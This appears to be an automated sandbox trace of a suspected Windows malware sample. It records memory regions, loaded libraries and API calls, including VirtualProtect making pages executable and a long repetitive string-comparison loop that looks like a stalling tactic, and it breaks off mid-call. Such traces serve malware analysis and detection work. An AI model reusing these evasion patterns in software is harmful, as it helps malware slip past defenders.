# Flog Txt Version 1 # Analyzer Version: 1.11.0 # Analyzer Build Date: Nov 28 2016 11:21:04 # Log Creation Date: 06.12.2016 09:36 Process: id = "1" image_name = "cb91b8695d3990b5b5eae8a714bd357e.exe" filename = "c:\\users\\hjrd1koky ds8lujv\\desktop\\cb91b8695d3990b5b5eae8a714bd357e.exe" page_root = "0x6d4ba000" os_pid = "0x7d4" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\hJrD1KOKY DS8lUjv\\Desktop\\cb91b8695d3990b5b5eae8a714bd357e.exe\" " cur_dir = "C:\\Users\\hJrD1KOKY DS8lUjv\\Desktop\\" Region: id = 1 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 3 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" Region: id = 4 start_va = 0x50000 end_va = 0x8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 5 start_va = 0x90000 end_va = 0x18ffff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 6 start_va = 0x190000 end_va = 0x193fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 7 start_va = 0x400000 end_va = 0x463fff entry_point = 0x400000 region_type = mapped_file name = "cb91b8695d3990b5b5eae8a714bd357e.exe" filename = "\\Users\\hJrD1KOKY DS8lUjv\\Desktop\\cb91b8695d3990b5b5eae8a714bd357e.exe" Region: id = 8 start_va = 0x76f60000 end_va = 0x77108fff entry_point = 0x76f60000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" Region: id = 9 start_va = 0x77140000 end_va = 0x772bffff entry_point = 0x77140000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" Region: id = 10 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 11 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 12 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 13 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 14 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 15 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 16 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 148 start_va = 0x200000 end_va = 0x27ffff entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 149 start_va = 0x74ae0000 end_va = 0x74ae7fff entry_point = 0x74ae20f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" Region: id = 150 start_va = 0x74af0000 end_va = 0x74b4bfff entry_point = 0x74b2f798 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" Region: id = 151 start_va = 0x74b50000 end_va = 0x74b8efff entry_point = 0x74b7de78 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" Region: id = 152 start_va = 0x2e0000 end_va = 0x3dffff entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 153 start_va = 0x75390000 end_va = 0x753d5fff entry_point = 0x75397478 region_type = mapped_file name = "KernelBase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" Region: id = 154 start_va = 0x75820000 end_va = 0x7592ffff entry_point = 0x758332d3 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" Region: id = 155 start_va = 0x76d40000 end_va = 0x76e5efff entry_point = 0x0 region_type = private name = "private_0x0000000076d40000" filename = "" Region: id = 156 start_va = 0x76e60000 end_va = 0x76f59fff entry_point = 0x0 region_type = private name = "private_0x0000000076e60000" filename = "" Region: id = 157 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 158 start_va = 0x470000 end_va = 0x4d6fff entry_point = 0x470000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" Region: id = 159 start_va = 0x74a50000 end_va = 0x74ad3fff entry_point = 0x74a519a9 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" Region: id = 160 start_va = 0x74c90000 end_va = 0x74c9bfff entry_point = 0x74c910e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" Region: id = 161 start_va = 0x74ca0000 end_va = 0x74cfffff entry_point = 0x74cba3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" Region: id = 162 start_va = 0x74f60000 end_va = 0x7500bfff entry_point = 0x74f6a472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" Region: id = 163 start_va = 0x751a0000 end_va = 0x751f6fff entry_point = 0x751b9ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" Region: id = 164 start_va = 0x75200000 end_va = 0x7528ffff entry_point = 0x75216343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" Region: id = 165 start_va = 0x75290000 end_va = 0x7538ffff entry_point = 0x752ab6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" Region: id = 166 start_va = 0x75470000 end_va = 0x7550cfff entry_point = 0x754a3fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" Region: id = 167 start_va = 0x75510000 end_va = 0x75519fff entry_point = 0x755136a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" Region: id = 168 start_va = 0x75930000 end_va = 0x759cffff entry_point = 0x759449e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" Region: id = 169 start_va = 0x76900000 end_va = 0x769effff entry_point = 0x76910569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" Region: id = 170 start_va = 0x76a30000 end_va = 0x76a48fff entry_point = 0x76a34975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" Region: id = 171 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 172 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 173 start_va = 0x650000 end_va = 0x65ffff entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 174 start_va = 0x660000 end_va = 0x7e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000660000" filename = "" Region: id = 175 start_va = 0x74d00000 end_va = 0x74d5ffff entry_point = 0x74d1158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" Region: id = 176 start_va = 0x76a80000 end_va = 0x76b4bfff entry_point = 0x76a8168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" Region: id = 177 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 178 start_va = 0x30000 end_va = 0x30fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 179 start_va = 0x1d0000 end_va = 0x1dffff entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 180 start_va = 0x4e0000 end_va = 0x543fff entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 181 start_va = 0x7f0000 end_va = 0x970fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007f0000" filename = "" Region: id = 182 start_va = 0x980000 end_va = 0x1d7ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000980000" filename = "" Region: id = 183 start_va = 0x1d80000 end_va = 0x204efff entry_point = 0x1d80000 region_type = mapped_file name = "SortDefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" Region: id = 184 start_va = 0x280000 end_va = 0x2a5fff entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 185 start_va = 0x75a80000 end_va = 0x75aa9fff entry_point = 0x75a812fa region_type = mapped_file name = "imagehlp.dll" filename = "\\Windows\\SysWOW64\\imagehlp.dll" Region: id = 186 start_va = 0x590000 end_va = 0x5cffff entry_point = 0x0 region_type = private name = "private_0x0000000000590000" filename = "" Region: id = 187 start_va = 0x77110000 end_va = 0x77114fff entry_point = 0x77111438 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\SysWOW64\\psapi.dll" Region: id = 188 start_va = 0x74d90000 end_va = 0x74eebfff entry_point = 0x74ddba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" Region: id = 189 start_va = 0x75010000 end_va = 0x75104fff entry_point = 0x75011865 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" Region: id = 190 start_va = 0x75520000 end_va = 0x75655fff entry_point = 0x75521b35 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" Region: id = 191 start_va = 0x759e0000 end_va = 0x759ebfff entry_point = 0x759e238e region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" Region: id = 192 start_va = 0x759f0000 end_va = 0x75a7efff entry_point = 0x759f3fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" Region: id = 193 start_va = 0x76700000 end_va = 0x768fafff entry_point = 0x767022d9 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" Region: id = 194 start_va = 0x76b50000 end_va = 0x76c6cfff entry_point = 0x76b5158a region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" Region: id = 195 start_va = 0x75ab0000 end_va = 0x766f9fff entry_point = 0x75b31601 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" Region: id = 196 start_va = 0x749f0000 end_va = 0x74a40fff entry_point = 0x74a1988c region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\SysWOW64\\winspool.drv" Region: id = 197 start_va = 0x21f0000 end_va = 0x21fffff entry_point = 0x0 region_type = private name = "private_0x00000000021f0000" filename = "" Thread: id = 1 os_tid = 0x6c8 [0014.609] PathFindExtensionA (pszPath="Y:\\JDdmMD\\DIODoijmdkMDK DOIodoKDkl\\MJdkmmdMIKD.uiJdk") returned=".uiJdk" [0014.609] lstrlenW (lpString="HDjDKJdkjDKkd") returned 13 [0014.609] GetCurrentThread () returned 0xfffffffe [0014.610] lstrlenA (lpString="MDmdmK.jhg") returned 10 [0014.610] PathIsFileSpecA (pszPath="MDmdmK.jhg") returned 1 [0014.610] StrToIntA (lpSrc="876897") returned 876897 [0014.611] VirtualProtect (in: lpAddress=0x40d0a4, dwSize=0x2000, flNewProtect=0x40, lpflOldProtect=0x18fa78 | out: lpflOldProtect=0x18fa78*=0x4) returned 1 [0014.615] VirtualProtect (in: lpAddress=0x40bbd7, dwSize=0x5, flNewProtect=0x40, lpflOldProtect=0x18ff6c | out: lpflOldProtect=0x18ff6c*=0x20) returned 1 [0014.615] IsCharAlphaW (ch=0x52) returned 1 [0014.616] lstrcpyW (in: lpString1=0x18fde0, lpString2="Template" | out: lpString1="Template") returned="Template" [0014.616] lstrcpyW (in: lpString1=0x18fdcc, lpString2="template" | out: lpString1="template") returned="template" [0014.617] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.619] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.619] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.620] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.620] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.621] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.629] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.630] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.630] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.631] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.631] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.632] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.632] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.633] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.633] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.634] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.634] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.635] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.635] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.636] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.653] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.654] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.654] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.655] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.655] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.656] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.656] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.657] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.657] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.658] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.658] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.659] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.659] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.665] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.665] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.666] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.666] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.670] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.671] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.671] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.672] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.672] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.673] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.680] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.681] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.682] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.682] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.683] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.683] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.684] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.684] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.685] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.685] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.686] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.686] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.687] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.700] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.728] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.730] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.732] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.735] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.736] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.739] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.743] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.745] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.747] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.750] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.752] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.755] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.761] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.762] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.762] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.763] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.764] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.764] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.765] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.768] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.769] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.786] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.786] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.787] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.787] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.794] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.794] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.795] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.796] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.796] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.797] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.797] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.798] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.798] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.799] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.799] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.800] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.815] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.819] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.822] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.824] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.827] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.830] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.856] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.859] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.861] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.872] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.877] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.886] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.888] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.890] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.893] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.929] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.931] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.934] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.936] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.944] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.947] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.948] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.949] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.951] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.952] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.953] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.955] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.956] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.958] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.959] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.961] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.962] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.963] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.969] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.970] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.972] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.989] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.991] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.992] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.994] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.995] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.996] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.998] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.999] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0014.999] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.000] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.001] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.002] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.009] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.010] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.012] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.014] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.016] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.019] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.022] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.024] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.025] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.028] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.033] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.037] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.038] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.040] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.041] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.048] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.052] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.055] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.057] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.058] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.059] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.061] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.062] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.064] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.064] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.065] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.065] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.066] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.068] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.073] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.076] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.078] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.089] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.090] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.092] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.092] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.093] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.093] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.094] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.100] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.101] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.102] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.104] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.121] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.122] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.122] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.123] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.123] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.124] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.124] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.126] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.127] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.129] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.129] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.130] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.130] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.131] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.132] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.138] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.139] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.140] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.142] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.143] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.145] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.146] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.147] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.148] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.150] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.151] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.153] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.154] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.155] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.156] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.157] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.159] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.178] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.179] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.180] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.182] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.183] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.184] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.186] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.187] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.188] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.190] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.192] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.193] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.194] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.195] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.195] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.196] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.197] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.198] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.203] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.204] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.205] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.208] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.208] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.210] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.211] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.212] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.213] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.214] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.215] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.217] lstrcmpiW (lpString1="Template", lpString2="template") returned 0 [0015.218] lstrcmpiW (lpString1="Template", lpString2="template") 